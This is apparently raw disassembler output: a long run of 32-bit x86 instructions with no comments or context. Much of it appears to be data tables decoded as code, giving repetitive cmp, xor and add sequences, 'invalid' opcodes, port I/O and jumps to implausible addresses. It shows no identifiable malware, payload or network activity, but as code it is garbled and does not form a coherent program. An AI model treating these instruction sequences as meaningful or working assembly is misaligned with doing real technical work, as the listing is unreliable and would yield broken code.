dec edi
inc edx
add byte [eax + 0x1000424f], dh
dec ebp
inc edx
add byte [ecx], ah
push eax
inc edx
add byte [eax + 0x50], al
inc edx
add byte [eax], al
dec edx
inc edx
add al, dh
dec ecx
inc edx
add bl, al
dec ecx
inc edx
add byte [eax], al
dec edx
inc edx
add byte [edx + edx*2 + 0x42], bh
add dh, dl
dec ecx
inc edx
add byte [edi + 0x52], ch
inc edx
add byte [edx + edx*2 + 0x42], bh
add byte [ecx - 0x1ffbda8], bl
pushal
inc edx
add dh, bh
pushal
inc edx
add byte [ebp + 0x1004258], dh
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], ch
popal
inc edx
add byte [esi - 0x1affbda7], dl
pop edi
inc edx
add bh, al
pop edi
inc edx
add byte [ecx], cl
pop edx
inc edx
add bh, dl
pop edi
inc edx
add ah, dh
pop edi
inc edx
add byte [edi], dl
pop edx
inc edx
add byte [eax + 0x5a], dl
inc edx
add byte [eax + 0x5a], dl
inc edx
add byte [ebx - 0x55ffbda6], cl
pop edx
inc edx
add al, al
pop edx
inc edx
add al, dh
pop ecx
inc edx
add ch, cl
pop edx
inc edx
add al, dh
pop ecx
inc edx
add byte [edi], cl
pop ebx
inc edx
add al, dh
pop ecx
inc edx
add byte [edi], bh
pop ebx
inc edx
add byte [ebp + 0x5b], cl
inc edx
add bh, dh
pop esp
inc edx
add bh, dh
pop esp
inc edx
add byte [edx + 0x5e], al
inc edx
add byte [eax + 0x5e], cl
inc edx
add byte [eax + 0x5e], bl
inc edx
add byte [ecx + 0x5e], dh
inc edx
add byte [esi + 0x5e], dh
inc edx
add al, ah
pop esi
inc edx
add byte [esi + ebx*2 + 0x42], bh
add byte [ebx], bh
pop edi
inc edx
add al, ah
pop esi
inc edx
add byte [edi + 0x5f], dl
inc edx
add byte [ebp + 0x5f], bl
inc edx
add al, dl
pushal
inc edx
add al, dl
pushal
inc edx
add dl, dl
pushal
inc edx
add al, dl
pushal
inc edx
add al, bl
pushal
inc edx
add dh, bl
pushal
inc edx
add byte [ecx], dl
popal
inc edx
add byte [edx], bl
popal
inc edx
add dh, bl
pushal
inc edx
add byte [ecx], dl
popal
inc edx
add byte [eax + 0x3f004262], dl
popal
inc edx
add byte [eax + 0x2a004262], dl
inc edx
add byte [eax], bh
inc edx
add byte [ebx - 0x63ffbd9c], al
inc edx
add byte [ecx - 0x43ffbd8d], al
jae 0x448e4d
add ch, al
jae 0x448e51
add byte [ebx + esi*2 + 0x73810042], bh
inc edx
add byte [edi + 0x41004273], dl
jb 0x448e61
add byte [esi + 0x65004273], dh
jae 0x448e69
add byte [edx - 0x34ffbd97], ah
imul eax, dword [edx], case.0x425b38.44
stc
imul eax, dword [edx], case.0x425b38.46
dec ebx
push 66
add dh, dl
push 0x42
add byte [edi], al
jo 0x448e89
add dh, dl
push 0x42
add byte [ebx + 0x70], dl
inc edx
jo 0x448e91
add al, ah
push 0x42
add al, ah
push 0x42
add dl, ah
push 0x42
add al, ah
push 0x42
add bl, ch
push 0x42
add byte [ebx + ebp*2], al
inc edx
add byte [edx], cl
imul eax, dword [edx], 0xffffffa2
imul eax, dword [edx], case.0x426acf.11
jmp 0xff44d0e4
outsb dx, byte [esi]
inc edx
add byte [ebp + 0x6e], ah
inc edx
add byte [ebp - 0x77ffbd92], bl
outsd dx, dword [esi]
inc edx
add byte [edi - 0x14ffbd97], ah
push 0x69a70042
imul eax, dword [edx], case.0x42697e.0
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
inc edx
add byte [eax - 0x58ffbd91], cl
imul eax, dword [edx], case.0x426acf.22
cmpsd dword [esi], dword es:[edi]
imul eax, dword [edx], case.0x42697e.0
cmpsd dword [esi], dword es:[edi]
imul eax, dword [edx], case.0x42697e.2
mov dh, 0x65
inc edx
add byte [esi - 0x39ffbd9b], dh
inc edx
add byte [esi - 0x16ffbd9b], dh
inc edx
add byte [eax], dl
inc dx
add byte [eax], dl
inc dx
add byte [eax], dl
inc dx
add byte [eax], dl
inc dx
add byte [edx], bh
inc dx
add byte [eax + 0x66], ah
inc edx
add byte [eax + 0x66], ah
inc edx
add byte [edx + 0x66], ah
inc edx
add byte [eax + 0x66], ah
inc edx
add dl, dl
inc dx
add byte [ebx + 0x66], dh
inc edx
add byte [ebp + 0x66], al
inc edx
add byte [ebp + 0x5b004266], ah
inc edx
add byte [0x4f004267], ch
inc edx
add byte [eax], dl
inc edx
add byte [ebx + 0x67], bl
inc edx
add byte [ebx], bl
inc edx
add byte [ecx + 0x67], ch
inc edx
add byte [edx + 0x67], dh
inc edx
add dl, ah
inc edx
add bl, ch
inc edx
add cl, cl
push 0x65e90042
inc edx
add byte [edi - 0x62ffbd97], ch
outsb dx, byte [esi]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x59ffbd92], bl
outsb dx, byte [esi]
inc edx
add byte [ecx + 0x7600426e], dh
insd dword es:[edi], dx
inc edx
add byte [edi + ebp*2 + 0x42], dh
add byte [edx - 0x70ffbd91], al
insd dword es:[edi], dx
inc edx
add byte [ecx], bl
outsb dx, byte [esi]
inc edx
add byte [esi + ebp*2], ah
inc edx
add dl, dh
jae 0x448fa5
add byte [eax + 0x75], ah
inc edx
add byte [edi], bl
ja 0x448fad
add byte [eax + 0x75], ah
inc edx
add byte [0x5b004279], bl
jns 0x448fb5
add byte [ebx + 0x79], bl
inc edx
jns 0x448fb5
add byte [ebx + 0x79], bl
inc edx
add byte [ebx], ah
jns 0x448fbd
add byte [esi], ch
jns 0x448fc1
add byte [edi], dl
jnp 0x448fc5
add byte [eax + 0x7b], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx - 0x7d], bl
inc edx
add byte [ecx], al
add byte [eax], al
add bh, dl
jnp 0x448fdd
add byte [ebx + edi*2 + 0x42], ah
add dh, al
jnp 0x448fe5
add byte [ebx + edi*2 + 0x7bc60042], bl
inc edx
jnp 0x448fe9
add dh, al
jnp 0x448fed
add byte [esi + 0x700427f], bh
jg 0x448ff1
inc edx
add byte [edi], al
add byte [edx], 0x16
add byte [edx], 0x10
add dword [edx], 0x19
add dword [edx], 0x3a
add dword [edx], 0x45
add dword [edx], 0xffffffcc
jnp 0x44900d
add bh, dl
jnp 0x449011
add byte [ecx], ah
jnp 0x449015
add byte [ebx + 0x4000427c], ch
jns 0x44901d
add byte [ebp + 0x5500427c], dh
jg 0x449025
jl 0x449021
add byte [ebp + 0x7f], dl
inc edx
add byte [eax + 0x7f], dh
inc edx
jg 0x449029
add byte [esi + 0x7f], dh
inc edx
jg 0x44902d
add byte [eax + 0x79], al
inc edx
jns 0x449031
add byte [edi + edi*2 + 0x42], bh
jg 0x449035
add byte [eax + 0x4000427f], dl
jns 0x44903d
add byte [eax + 0x100427f], dl
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x79], al
inc edx
add byte [ecx], al
add byte [eax], al
add ah, cl
test byte [edx], al
add eax, dword [ebp - 0x72e1ffbe]
inc edx
add byte [ecx], dh
test dword [edx], eax
push ds
lea eax, [edx]
xor dword [ebp - 0x731dffbe], ecx
lea eax, [edx]
loop 0x448fae
mov word [edx], es
push ds
inc edx
add byte [esi], bl
lea eax, [edx]
cli
mov word [edx], es
add byte [ebp - 0x7af6ffbe], cl
inc edx
add byte [eax - 0x7b], al
lea eax, [edx]
or dword [ebp - 0x7abfffbe], eax
test dword [edx], eax
inc eax
test dword [edx], eax
inc eax
test dword [edx], eax
push 0x80004285
test dword [edx], eax
nop
inc edx
add byte [eax - 0x7b], al
inc edx
add byte [eax - 0x7b], ch
inc edx
add byte [eax - 0x6fffbd7b], al
test dword [edx], eax
add byte [ebp - 0x7a6fffbe], 0x42
add byte [eax - 2147466618], dl
test dword [edx], eax
lds eax, [esi - 0x75ffffbe]
xchg byte [edx], al
add byte [edx - 0x792affbe], cl
inc edx
add byte [eax], al
mov al, byte [edx]
in eax, 0x86
test dword [edx], eax
nop
xchg byte [edx], al
add byte [ebp - 0x793affbe], 0x42
xchg byte [edx], al
add byte [edx - 0x792affbe], cl
xchg byte [edx], al
add byte [edx - 0x792affbe], cl
inc edx
add byte [eax], al
mov al, byte [edx]
in eax, 0x86
inc edx
add byte [eax], al
mov al, byte [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
in eax, 0x86
inc edx
add ch, dh
xchg byte [edx], al
add byte [edx - 0x78faffbe], cl
inc edx
add byte [eax], al
mov al, byte [edx]
pop esp
xchg dword [edx], eax
bound eax, qword [edi - 0x787fffbe]
inc edx
add byte [edi + eax*4 + 0x42], ch
add byte [ebp - 0x7fffbd79], dl
xchg dword [edx], eax
push esp
mov al, byte [edx]
mov bh, 0x87
inc edx
add byte [edx - 0x76], al
inc edx
add al, bh
xchg dword [edx], eax
clc
xchg dword [edx], eax
clc
xchg dword [edx], eax
sbb al, 0x88
inc edx
add al, bh
xchg dword [edx], eax
sub cl, byte [eax - 0x77cbffbe]
inc edx
add dl, dl
mov dword [edx], eax
das
mov al, byte [edx]
and byte [edx - 0x75e8ffbe], cl
inc edx
add byte [edi], ch
mov al, byte [edx]
pop ss
mov al, byte [edx]
inc eax
mov al, byte [edx]
inc eax
mov al, byte [edx]
inc eax
mov al, byte [edx]
inc edx
mov al, byte [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
inc edx
mov al, byte [edx]
dec eax
mov al, byte [edx]
push esp
mov al, byte [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
dec edx
lea eax, [edx]
fmul dword [ecx - 0x760fffbe]
inc edx
add al, dh
mov dword [edx], eax
invalid
sub eax, 0xe9373737
aaa
stc
aaa
cmp eax, 0x61385638
cmp byte [edi + 0x38], ch
jp 0x457946
invalid
and eax, 0x853b763b
cmp ebp, dword [edi - 0x31c43cc5]
cmp esp, ecx
cmp ebp, esp
cmp edi, ebp
cmp ecx, dword [eax]
cmp al, 0x2f
cmp al, 0x3a
cmp al, 0x53
cmp al, 0x5e
cmp al, 0xb7
cmp al, 0xc7
cmp al, 0x14
cmp eax, 0x3d993d8e
or al, 0x3e
pop ss
dec ecx
popal
insb byte es:[edi], dx
cdq
cmpsd dword ds:[esi], dword es:[edi]
mov dl, 0x3e
mov ebp, 0x823f773e
aas
xchg ecx, eax
aas
pushfd
aas
invalid
aaa
cld
aaa
cmp byte cs:[edi - 0x13c744c8], ch
cmp byte [edx + 0x39], ah
jb 0x457a63
mov eax, dword [0x223b1c39]
cmp edi, dword [ebp + 0x4e3bc23b]
aas
push ebx
aas
insb byte es:[edi], dx
aas
jno 0x457a7b
mov bl, 0x3f
mov ecx, 0x400003f
add byte [eax], ch
add byte [eax], al
mov cl, 0x30
fidiv word [edx]
jecxz 0x457a80
inc edx
xor byte ss:[esi], 0x12
cmp dword [edx], esp
cmp dword [ebp + 0x39], esp
wait
cmp dword [eax + 0x623a5239], ebp
cmp ch, byte [esi + 0x3a]
test byte [edx], bh
mov bh, byte [edx]
lcall 0xe33a, 0xb43aa43a
cmp al, byte [edi + 0x3b]
cmp al, byte [edx + edi + 0x3a9a3a8a]
movsb byte es:[edi], byte [esi]
cmp dh, byte [edx + edi + 0x3b473ae3]
push esi
cmp edi, dword [edx + 0x3b]
ljmp 0xcd3c
cmp al, 0xcd
cmp al, 0xdb
cmp al, 0xf3
cmp al, 7
cmp al, 7
cmp eax, 0x3da13d89
mov esp, 0xd83dc83d
cmp eax, 0x3df33de7
push ecx
pop edi
outsd dx, dword ds:[esi]
mov byte ds:[esi], bh
cwde
cmpsd dword ds:[esi], dword es:[edi]
mov edx, 0x623f553e
aas
std
aas
add byte [eax], al
add byte [eax], dl
add al, 0
jo 0x457aae
add byte [eax], al
and byte [eax], dh
cmp byte [eax], dh
jp 0x457ae6
xlatb
xor ebp, ebp
xor dword [edi], ecx
xor ch, byte [0x44323a32]
xor bl, bh
xor ah, byte [ebx + 0x33]
invalid
jecxz 0x457b1e
cli
push es
aaa
adc al, 0x37
cmp esi, dword [edi]
dec esi
aaa
or byte [ecx], bh
adc al, 0x39
push 0x39
enter 0xffffffffffffd43a, 0x3a
invalid
add byte [eax], al
aaa
xor byte [ebp + 0x30], al
xchg byte [eax], dh
pop es
xor dword [0x67314931], edx
xor dh, byte [ebx + 0x32]
test eax, 0x43333732
xor eax, dword [eax + 0x76346833]
xor al, 0xb6
xor al, 0x47
push ebx
invalid
cmp esp, ecx
cmp eax, edx
cmp esp, edx
cmp eax, ebx
cmp esp, ebx
cmp eax, esp
cmp esp, esp
cmp eax, ebp
cmp esp, ebp
cmp eax, esi
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
cmp cl, byte [edx + edi]
cmp cl, byte [edx + edi]
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
and byte [edx], bh
and al, 0x3a
sub byte [edx], bh
sub al, 0x3a
xor byte [edx], bh
xor al, 0x3a
cmp byte [edx], bh
cmp al, 0x3a
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [eax + 0x3a]
cmp ch, byte fs:[eax + 0x3a]
insb byte es:[edi], dx
cmp dh, byte [eax + 0x3a]
je 0x457e30
js case.0x42501a.310
jl 0x457e34
cmp byte [edx], 0x84
cmp cl, byte [eax - 0x6fc573c6]
cmp ah, byte [eax + 0x3a]
cmp ch, byte fs:[eax + 0x3a]
insb byte es:[edi], dx
cmp dh, byte [eax + 0x3a]
je 0x457e30
js case.0x42501a.310
jl 0x457e34
cmp byte [edx], 0x84
cmp cl, byte [eax - 0x6fc573c6]
cmp dl, byte [edx + edi + 0x3a9c3a98]
mov al, byte [0xa83aa43a]
cmp ch, byte [edx + edi + 0x3ab43ab0]
mov al, 0x3a
mov ah, 0x3a
mov al, 0x3a
mov ah, 0x3a
mov eax, 0xc03abc3a
cmp al, ah
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
in al, dx
cmp dh, al
cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
or byte [ebx], bh
or al, 0x3b
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub byte [ebx], bh
sub al, 0x3b
xor byte [ebx], bh
xor al, 0x3b
cmp byte [ebx], bh
cmp al, 0x3b
inc eax
cmp eax, dword [ebx + edi + 0x48]
cmp ecx, dword [ebx + edi + 0x50]
cmp edx, dword [ebx + edi + 0x58]
push esp
cmp ebx, dword [eax + 0x3b]
pop esp
cmp esp, dword [eax + 0x3b]
cmp ebp, dword fs:[eax + 0x3b]
insb byte es:[edi], dx
cmp esi, dword [eax + 0x3b]
je 0x457eb1
js 0x457eb3
jl 0x457eb5
cmp byte [ebx], 0x84
cmp ecx, dword [eax - 0x6fc473c5]
invalid
hlt
push esp
cmp ebx, dword [eax + 0x3b]
pop esp
cmp esp, dword [eax + 0x3b]
cmp ebp, dword fs:[eax + 0x3b]
insb byte es:[edi], dx
cmp esi, dword [eax + 0x3b]
je 0x457eb1
js 0x457eb3
jl 0x457eb5
cmp byte [ebx], 0x84
cmp ecx, dword [eax - 0x6fc473c5]
test byte [ebx], bh
mov byte [ebx], bh
invalid
cmp edx, dword [ebx + edi + 0x3b9c3b98]
mov al, byte [0xa83ba43b]
cmp ebp, dword [ebx + edi + 0x3bb43bb0]
mov eax, 0xc03bbc3b
cmp eax, esp
cmp ecx, eax
cmp ecx, esp
cmp edx, eax
cmp edx, esp
cmp ebx, eax
cmp ebx, esp
cmp esp, eax
cmp esp, esp
cmp ebp, eax
cmp ebp, esp
cmp esi, eax
cmp esi, esp
cmp edi, eax
cmp edi, esp
cmp eax, dword [eax]
cmp al, 4
cmp al, 8
cmp al, 0xc
cmp al, 0x10
cmp al, 0x14
cmp al, 0x18
cmp al, 0x1c
cmp al, 0x20
cmp al, 0x24
and al, 0x3c
sub byte [esp + ebp], bh
and al, 0x3c
sub byte [esp + ebp], bh
cmp al, 0x30
cmp al, 0x34
cmp al, 0x38
cmp al, 0x3c
cmp al, 0x40
cmp al, 0x44
cmp al, 0x48
cmp al, 0x4c
cmp al, 0
add byte [eax], al
inc eax
add al, 0
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], cl
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x457f5a
js 0x457f5c
jl 0x457f5e
xor byte [esi], 0x84
mov byte ss:[esi], dh
fdiv dword [esi]
fdiv qword [esi]
loopne 0x457f6a
in al, 0x36
call 0xf07c6b71
hlt
aaa
add al, 0x37
or byte [edi], dh
add byte [ebx], bh
add al, 0x3b
or byte [ebx], bh
or al, 0x3b
add byte [eax + 4], ah
add byte [esi + eax], dl
add byte [eax], al
xor byte [eax + esi], al
add al, 0x30
adc byte [eax], dh
adc al, 0x30
sbb byte [eax], dh
sbb al, 0x30
and byte [eax], dh
and al, 0x30
sub byte [eax], dh
sub al, 0x30
xor byte [eax], dh
xor al, 0x30
cmp byte [eax], dh
cmp al, 0x30
inc eax
xor byte [eax + esi + 0x48], al
xor byte [eax + esi + 0x50], cl
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + esi + 0x68], ah
xor byte [eax + esi + 0x70], ch
xor byte [eax + esi + 0x78], dh
xor byte [eax + esi - 0x80], bh
jl 0x457fc4
xor byte [eax], 0x84
xor byte [eax - 0x6fcf73d0], cl
jl 0x457fc4
xor byte [eax], 0x84
xor byte [eax - 0x6fcf73d0], cl
xor byte [eax + esi + 0x309c3098], dl
mov al, byte [0xa830a430]
xor byte [eax + esi + 0x30b430b0], ch
mov eax, 0xc030bc30
xor ah, al
xor al, cl
xor ah, cl
xor al, dl
xor ah, dl
xor al, bl
xor ah, bl
xor al, ah
xor ah, ah
xor al, ch
xor ah, ch
xor al, dh
loopne 0x457ff6
in al, 0x30
call 0xf0766bfd
xor ah, dh
xor al, bh
xor ah, bh
xor byte [eax], al
xor dword [ecx + esi], eax
or byte [ecx], dh
or al, 0x31
adc byte [ecx], dh
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x60], ebx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
xor dword [ecx + esi + 0x318c3188], eax
nop
inc esp
xor dword [eax + 0x31], ecx
dec esp
xor dword [eax + 0x31], edx
push esp
xor dword [eax + 0x31], ebx
pop esp
xor dword [eax + 0x31], esp
xor dword fs:[eax + 0x31], ebp
insb byte es:[edi], dx
xor dword [eax + 0x31], esi
je 0x458041
js 0x458043
jl 0x458045
xor byte [ecx], 0x84
xor dword [eax - 0x6fce73cf], ecx
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
nop
xor dl, byte [edx + esi + 0x329c3298]
mov al, byte [0xa832a432]
xor ch, byte [edx + esi + 0x32b432b0]
mov eax, 0xc032bc32
xor al, ah
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, al
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor ebx, dword [ebx + esi + 0x60]
xor esp, dword [ebx + esi + 0x68]
xor ebp, dword [ebx + esi + 0x70]
xor esi, dword [ebx + esi + 0x78]
xor edi, dword [ebx + esi - 0x80]
xor eax, dword [ebx + esi + 0x338c3388]
nop
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
mov al, 0x34
mov ah, 0x34
mov eax, 0xc034bc34
mov al, 0x34
mov ah, 0x34
mov eax, 0xc034bc34
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x458243
je 0x458245
js 0x458247
jl 0x458249
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07b6e82
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x4582c6
js 0x4582c8
jl 0x4582ca
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
in al, 0x36
call 0xf07c6f03
hlt
in al, dx
invalid
loopne 0x458469
in al, 0x39
call 0xf07f7070
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
or al, 0x3a
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
and byte [edx], bh
and al, 0x3a
sub byte [edx], bh
sub al, 0x3a
xor byte [edx], bh
xor al, 0x3a
cmp byte [edx], bh
cmp al, 0x3a
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [edx + edi + 0x68]
cmp ch, byte [edx + edi + 0x70]
cmp dh, byte [edx + edi + 0x78]
cmp bh, byte [edx + edi - 0x80]
cmp al, byte [edx + edi + 0x3a8c3a88]
nop
cmp bl, byte [eax + 0x3a]
pop esp
cmp ah, byte [eax + 0x3a]
cmp ch, byte fs:[eax + 0x3a]
insb byte es:[edi], dx
cmp dh, byte [eax + 0x3a]
je 0x4584b4
js 0x4584b6
jl 0x4584b8
cmp byte [edx], 0x84
cmp cl, byte [eax - 0x6fc573c6]
cmp dl, byte [edx + edi + 0x3a9c3a98]
mov al, byte [0xa83aa43a]
cmp ch, byte [edx + edi + 0x3ab43ab0]
mov eax, 0xc03abc3a
cmp al, ah
cmp cl, al
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
cmp dh, al
cmp dh, ah
cmp bh, al
invalid
hlt
clc
cmp bh, ah
cmp al, byte [ebx + edi]
or byte [ebx], bh
or al, 0x3b
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub byte [ebx], bh
sub al, 0x3b
xor byte [ebx], bh
xor al, 0x3b
cmp byte [ebx], bh
cmp al, 0x3b
inc eax
cmp eax, dword [ebx + edi + 0x48]
cmp ecx, dword [ebx + edi + 0x50]
cmp edx, dword [ebx + edi + 0x58]
cmp ebx, dword [ebx + edi + 0x60]
cmp esp, dword [ebx + edi + 0x68]
cmp ebp, dword [ebx + edi + 0x70]
cmp esi, dword [ebx + edi + 0x7c]
cmp eax, dword [eax + 0x183c003b]
cmp al, 0x1c
cmp al, 0x44
cmp al, 0x48
cmp al, 0x50
cmp al, 0x54
cmp al, 0x8c
cmp al, 0x90
cmp al, 0x98
cmp al, 0x9c
cmp al, 0xb4
cmp al, 0xb8
cmp al, 0xc0
cmp al, 0xc4
cmp al, 0xdc
cmp al, 0xe0
cmp al, 0xe8
cmp al, 0xec
cmp al, 4
cmp eax, 0x3d183d08
sbb al, 0x3d
and al, 0x3d
sub byte [0x3d343d30], bh
dec esp
cmp eax, 0x3d583d50
pop esp
cmp eax, 0x3d703d6c
mov byte [0x3d943d8c], bh
cwde
cmp eax, 0x3dbc3db8
aam 0x3d
fdivr dword [0x3dfc3df8]
add al, 0x3e
or byte [esi], bh
xor byte [esi], bh
xor al, 0x3e
pushal
je 0x45859a
js 0x45859c
cmp byte [esi], 0x84
xchg esp, eax
cwde
mov al, byte ds:[0xc43ea43e]
enter 0xffffffffffffd03e, 0x3e
aam 0x3e
cld
add byte ds:[edi], bh
or byte [edi], bh
or al, 0x3f
sbb al, 0x3f
and byte [edi], bh
sub byte [edi], bh
sub al, 0x3f
mov esp, 0xc43fc03f
aas
enter 0xffffffffffffcc3f, 0x3f
sar byte [edi], 1
aam 0x3f
fdivr dword [edi]
fdivr qword [edi]
loopne 0x4585d5
in al, 0x3f
call 0xf08571dc
aas
hlt
in al, dx
aas
invalid
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + 0x30], ch
insb byte es:[edi], dx
xor byte [eax + esi + 0x78], dh
xor byte [eax - 0x6bcf7bd0], al
xchg esp, eax
xchg esp, eax
xor byte [eax - 0x5bcf5fd0], bl
xor byte [eax + esi + 0x30b830b0], ch
mov esp, 0xc830c430
xor al, dl
xor ah, dl
xor ah, ah
xor al, ch
xor al, dh
xor ah, dh
xor ah, bh
xor byte [eax], al
xor dword [eax], ecx
xor dword [ecx + esi], ecx
adc al, 0x31
sbb byte [ecx], dh
and byte [ecx], dh
and al, 0x31
xor al, 0x31
cmp byte [ecx], dh
inc eax
xor dword [ecx + esi + 0x5c], eax
xor dword [eax + 0x31], esp
push 0x84316c31
